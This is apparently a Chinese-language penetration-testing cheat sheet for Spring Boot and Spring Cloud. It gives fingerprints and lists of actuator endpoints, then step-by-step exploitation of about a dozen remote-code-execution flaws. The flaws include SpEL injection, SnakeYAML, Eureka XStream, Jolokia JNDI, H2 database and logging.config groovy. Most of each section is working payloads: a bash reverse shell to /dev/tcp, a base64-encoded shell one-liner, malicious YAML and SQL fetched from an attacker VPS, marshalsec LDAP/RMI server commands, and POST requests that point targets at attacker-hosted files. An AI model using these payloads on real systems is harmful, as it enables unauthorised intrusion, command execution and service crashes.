一、介绍

1、简介

```
Spring是Pivotal公司下一款基于JavaEE的开源应用程序框架
```

2、指纹

```
报错页面：Whitelabel Error Page
```

```
icon_hash="116323821"
```

```
/swagger-ui
/env
```

```
app="Eureka-Server"
```

3、补充

```
# env介绍
    env是spring框架的一个配置文件，文件中包含了配置信息、内网地址、用户名等。通过POST方法请求env可以修改配置信息。
```

```
# JNDI注入原理
    JNDI(Java Naming Directory Interface)，Java命名和目录接口。JNDI是一个索引中心，用户可以通过name查找并调用相应的对象。
    JNDI注入，当上下文代码中的JNDIname变量可控时，用户将其指向外部的恶意类，那么当服务器将会请求这个恶意类，配合特定的解析方式，最终造成远程命令执行。
```

二、漏洞

00、未授权访问

```
# 根目录
    1.x
    /
    2.x
    /actuator
```

```
# 常用路由
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
```

```
# 常用接口地址
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
```

```
# 其他路由
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
```

```
/actuator/jolokia
/actuator/hystrix.stream
```

01、Whitelabel error page SpEL RCE

```
# 影响版本
    spring boot 1.1.0-1.1.12
    spring boot 1.2.0-1.2.7
    spring boot 1.3.0
```

```
# 利用条件
    1、Whitelabel error page 500报错
    2、至少一个触发报错的接口参数名
```

```
# 利用方法
    1、访问状态码500报错"whitelabel error page"且参数可执行SpEl表达式的URL
    2、将参数替换为${3*3}，查看是否成功执行结果为9
    3、生成base64编码的反弹shell payload
    4、将payload 转换为 java字节形式
    5、vps开启监听
    6、执行payload：${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]
{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74
,0x6f,0x72}))}
    7、成功接收shell
```

```
# 相关链接
    靶场搭建：https://blog.csdn.net/weixin_43650289/article/details/107336833
    漏洞复现：https://blog.csdn.net/lhh134/article/details/106795776
```

```
# 相关工具 whitelabel_error_page_spel_rce.py
# coding: utf-8

result = ""
target = 'xxx'
for x in target:
    result += hex(ord(x)) + ","
print(result.rstrip(','))
```

```
# 漏洞原理
    1、Spring boot处理参数出错
    2、URL中的参数值会用paresStringValue方法解析
    3、当传入${} SpEL表达式，将会被递归解析，如果其中的内容为恶意代码，当解析时就会造成命令执
行
```

02、Spring cloud Snake YAML RCE

```
# 利用条件
    1、可以POST请求目标网站的/env接口并设置属性
    2、可以POST请求目标网站的/refresh接口刷新配置
    3、目标可以出网
```

```
# 利用方法
    1、VPS存放example.yml
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://your-vps-ip/yaml-payload.jar"]
  ]]
]
    2、VPS下载Payload
    git clone https://github.com/artsploit/yaml-payload.git

    3、编译Java文件（代码中的命令改成自己的vps地址）
    javac src/artsploit/AwesomeScriptEngineFactory.java
    jar -cvf yaml-payload.jar -C src/ .

    4、开启HTTP服务
    python3 -m http.server 80

    5、将代码中的命令改为反弹shell命令
    bash -i >& /dev/tcp/ip/53 0>&1
    命令转换网站（https://x.hacking8.com/?post=293）
    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8OOS4yMzUuMjEyLjExOC81MyAwPiYx}|
{base64,-d}|{bash,-i}

    6、发送/env POST数据包
（Spring 1.x）
POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

（Spring 2.x）
POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-
ip/example.yml"}

    7、发送/refresh POST数据包，刷新配置
（Spring 1.x）
POST /refresh
Content-Type: application/x-www-form-urlencoded

（Spring 2.x）
POST /actuator/refresh
Content-Type: application/json
```

```
# 参考链接
    复现：https://www.freesion.com/article/7622893139/
    工具：https://github.com/artsploit/yaml-payload
```

```
# 漏洞原理
    1、Spring的spring.cloud.bootstrap.location属性被设置为外部url的yml
    2、通过refresh进行刷新配置，服务器会去请求该yml文件并获取内容
    3、该内容指向的是同目录下的一个java的反序列化恶意类
    4、由于SnakeYAML存在反序列化漏洞，当解析恶意类时成功触发命令执行
```

03、eureka xstream deserialization RCE

```
# 利用条件
    1、可以POST请求目标网站的/env接口设置属性
    2、可以POST请求目标网站的/refresh接口刷新配置
    3、目标网站可以出网
```

```
# 利用方法
    1、VPS编写xxx.py文件并开启http服务
    2、发送/env 的POST数据包设置属性
POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
    3、发送/refresh 的POST数据包刷新属性
POST /refresh
Content-Type: application/x-www-form-urlencoded
```

```
# 参考链接
    复现：https://www.jianshu.com/p/91a5ca9b7c1c
```

```
# 漏洞原理
    1、Spring的eureka.clien.serviceUrl.defaultZone 属性被自定义为外部url的py文件
    2、refresh 刷新属性，目标主机将会请求远程URL，加载恶意py文件
    3、目标主机解析pyload，触发XStream反序列化，造成RCE
```

04、jolokia logback JNDI RCE

```
# 利用条件
    1、目标网站存在/jolokia或/actuator/jolokia接口
    2、目标主机出网
```

```
# 利用方法
    1、访问/jolokia/list接口，查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator
和reloadByURL关键字

    2、VPS网站根目录放置 exmple.xml文件
<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject"
as="appName" />
</configuration>

    3、VPS网站根目录放置弹计算器的恶意java类，并使用javac进行编译
public class Evil{
```

```
    public Evil() throws Exception{
        Runtime.getRuntime().exec("calc.exe");
    }
}

    4、VPS开启HTTP服务
    python3 -m http.server 80

    5、VPS另起窗口，使用marshalsec假设一个LDAP服务
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
http://192.168.43.141:80/#Evil 1389

    6、再次访问目标主机并带上payload，成功弹出计算器
http://localhost:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.q
os.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.43.141!/exam
ple.xml
```

```
# 参考链接
    https://blog.csdn.net/qq_53264525/article/details/121785686
```

```
# 漏洞原理
    1、访问触发漏洞的URL，相当于通过jolokia调用了一个类的reloadByURL方法
    2、此时通过该方法请求并解析了外部URL地址中的xml文件内容（XXE漏洞）
    3、xml文件中设置了外部JNDI服务器的地址
    4、那么解析后的xml文件，相当于服务器请求了JNDI服务器，最后导致JNDI注入，造成RCE漏洞
```

05、jolokia Realm JNDI RCE

```
# 利用条件
    1、目标网站存在/jolokia或/actuator/jolokia接口
    2、目标主机可出网
```

```
# 利用方法
    1、访问/jolokia接口，查看是否存在tyep=MBeanFactory 和 createJNDIRealm关键字
    2、VPS根目录放置并编译java文件
    3、VPS开启http端口监听
    4、使用marshalsec工具假设rmi服务
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer
http://your-vps-ip:80/#JNDIObject 1389
    5、VPS监听反弹shell端口
    6、运行springboot-realm-jndi-rce.py，发送payload
    7、成功接收目标shell
```

```
# 参考链接
    复现：https://github.com/LandGrey/SpringBootVulExploit#0x05jolokia-realm-jndi-
rce
```

```
# 漏洞原理
    1、利用jolokia调用createJNDIRealm创建JNDIRealm
    2、设置连接地址为RMI服务器地址
    3、设置上下文工厂为注册上下文工厂
    4、重启Realm，触发RMI地址的JNDI注入，造成RCE
```

06、restart h2 database query RCE

```
# 利用条件
    1、目标网站存在/env 或 /actuator/env 文件泄露
    2、目标主机可出网
```

```
# 利用方法
    1、发送POST数据包设置 spring.datasource.hikari.connection-test-query属性
(spring 1.x)
POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void
ex(String m1,String m2,String m3)throws
Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL
T5('cmd','/c','calc');

(spring 2.x)
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5
AS CONCAT('void ex(String m1,String m2,String m3)throws
Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL
T5('cmd','/c','calc');"}

    2、发送POST数据包重启应用
(spring 1.x)
POST /restart
Content-Type: application/x-www-form-urlencoded

(spring 2.x)
POST /actuator/restart
Content-Type: application/json
```

```
# 参考链接
    1、复现Linux：
https://blog.csdn.net/xuandao_ahfengren/article/details/112850107
    2、复现Windows：https://github.com/LandGrey/SpringBootVulExploit#0x05jolokia-
realm-jndi-rce
```

```
# 漏洞原理
    1、spring.datasource.hikari.connection-test-query 属性被设置为一条恶意的SQL语句，
该SQL语句定义了一个新数据连接前的执行语句
    2、restart重启应用，重新建立新的数据库连接，如果SQL语句的自定义函数没有被执行过，那么函数
就会被执行，造成RCE漏洞
```

07、h2 database console JNDI RCE

```
# 利用条件
    1、存在com.h2database.h2依赖
    2、spring配置中启用h2 console（spring.h2.console.enabled=true）
    3、目标主机可以出网
```

```
# 利用方法
    1、访问/h2-console，确定目标控制台存在
    2、修改JNDI注入工具的配置文件，插入要执行的反弹shell命令（base64编码）
    3、启动工具，java -jar JNDI.jar
    4、VPS监听端口
    5、在console页面填写JNDI类名(javax.naming.InitialContext)和URL/BypassByEL格式的地址
    6、点击Connect，VPS成功接收到shell
```

```
# 参考链接
    工具：https://github.com/su18/JNDI
    复现：https://github.com/vulhub/vulhub/blob/master/h2database/h2-console-unacc/README.zh-cn.md
```

08、mysql jdbc deserialization RCE（危）

```
# 未复现
    重启mysql可短时间内导致其他业务无法正常运行
```

09、restart logging.config logback JNDI RCE（危）

```
# 利用条件
    1、可以POST请求目标网站/env接口
    2、可以POST请求目标网站/restart接口
    3、目标可以请求出网，否则restart会导致程序退出，网站服务崩溃
    4、HTTP服务器如果返回含有错误的xml语法内容的文件，会导致程序退出，网站服务崩溃
    5、JNDI服务返回的object需要实现javax.naming.spi.OjectFactory接口，否则restart会导致程序退出，网站服务崩溃
```

```
# 利用方法
    1、VPS根目录放置example.xml文件
    2、VPS根目录放置并编译恶意类CommandRaw.java
    2、VPS python启动http服务
    3、VPS启动LDAP服务
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS:80/#CommandRaw 1389
    4、访问/actuator/env接口修改logging.config属性值
http://127.0.0.1:9098/actuator/restart
application/json

{"name":"logging.config","value":"http://10.137.204.238/example02.xml"}
    5、访问/actuator/restart接口重启应用
```

```
# 参考链接
    java类：https://blog.csdn.net/qq_53264525/article/details/121845843
    xml文件：https://github.com/LandGrey/SpringBootVulExploit#0x05jolokia-realm-jndi-rce
```

```
# 漏洞原理
    1、logging.config设置了logback的URL地址，当应用restart重启后，就会加载指向的URL中的xml文件并解析，这里就导致了xxe漏洞
    2、XML文件中设置了外部JNDI服务器地址
    3、目标主机跟随着请求了恶意的JNDI服务器，导致JNDI注入，造成RCE漏洞
```

10、restart logging.config groovy RCE（危）

```
# 利用条件
    1、目标网站可以通过POST方法请求/env 或 /actuator/env
    2、目标网站可以通过POST方法请求/restart 或 /actuator/restart
    3、目标主机出网
```

```
# 利用方法
    1、VPS上假设example.groovy，并开启http服务
    Runtime.getRuntime.exec("calc")
    2、POST方法设置logging.config属性值
(Spring 1.x)
POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.groovy
(Spring 2.x)
POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
    3、POST方法重启应用
(Spring 1.x)
POST /restart
Content-Type: application/x-www-form-urlencoded

(Spring 2.x)
POST /actuator/restart
Content-Type: application/json
```

```
# 参考链接
    复现：https://github.com/LandGrey/SpringBootVulExploit#0x0arestart-loggingconfig-groovy-rce
```

```
# 漏洞原理
    1、通过设置目标主机的logging.config属性值为VPS地址
    2、restart重启应用后，程序会请求设置的URL地址
    3、如果URL地址以.groovy结尾，那么就会执行groovy文件中的内容，造成RCE漏洞
```

11、restart spring.main.sources groovy RCE（危）

```
# 利用条件
    1、目标网站可通过POST方法访问/env 或 /actuator/env
    2、目标网站可通过POST方法访问/restart 或 /actuator/restart
    3、目标主机出网
```

```
# 利用方法
    1、VPS上假设example.groovy，并开启http监听
    Runtime.getRuntime().exec("calc")
    2、POST方法设置spring.main.sources属性
(Spring 1.x)
POST /env
Content-Type: application/x-www-form-urlencoded

spring.main.sources=http://your-vps-ip/example.groovy
(Spring 2.x)
POST /actuator/env
Content-Type: application/json

{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}
    3、POST方法重启应用
(Spring 1.x)
POST /restart
Content-Type: application/x-www-form-urlencoded
(Spring 2.x)
POST /actuator/restart
Content-Type: application/json
```

```
# 参考链接
    复现：https://github.com/LandGrey/SpringBootVulExploit#0x0arestart-
loggingconfig-groovy-rce
```

```
# 漏洞原理
    1、通过设置目标主机的spring.main.sources属性值，可以定义ApplicationContext这个
Springboot核心接口的额外URL
    2、当restart重启应用后，程序会请求设置的URL地址
    3、如果URL以.groovy结尾，那么就会执行groovy文件中的代码，造成RCE
```

12、restart spring.datasource.data h2 database RCE（危）

```
# 利用条件
    1、目标网站可通过POST方法请求/env 或 /actuator/env
    2、目标网站可通过POST方法请求/restart 或 /actuator/restart
    3、目标主机出网
```

```
# 利用方法
    1、VPS上架设example.sql，并开启http服务
    CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws
Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL
T5('CMD','/C','calc');
```

```
    2、设置spring.datasource.data属性
(Spring 1.x)
POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.data=http://your-vps-ip/example.sql
(Spring 2.x)
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
    3、restart重启服务
(Spring 1.x)
POST /restart
Content-Type: application/x-www-form-urlencoded
(Spring 2.x)
POST /actuator/restart
Content-Type: application/json
```

```
# 参考链接
    复现：https://blog.csdn.net/qq_53264525/article/details/121848872
```

```
# 漏洞原理
    1、通过设置目标网站的spring.datasource.data属性值为VPS地址
    2、restart重启应用后，目标主机会请求VPS地址
    3、如果VPS地址是以.sql结尾，就会执行sql文件中的内容，造成RCE
```